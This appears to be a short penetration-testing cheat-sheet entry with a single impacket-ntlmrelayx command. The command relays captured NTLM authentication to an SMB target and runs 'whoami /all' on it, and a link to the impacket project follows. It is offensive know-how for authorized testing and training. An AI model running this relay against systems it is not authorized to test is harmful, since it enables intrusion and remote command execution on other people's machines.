impacket-ntlmrelayx -smb2support -t smb://$IP -c 'whoami /all' -debug

Relay captured NTLM authentication, by mode.

Command: Linux

References:

https://github.com/fortra/impacket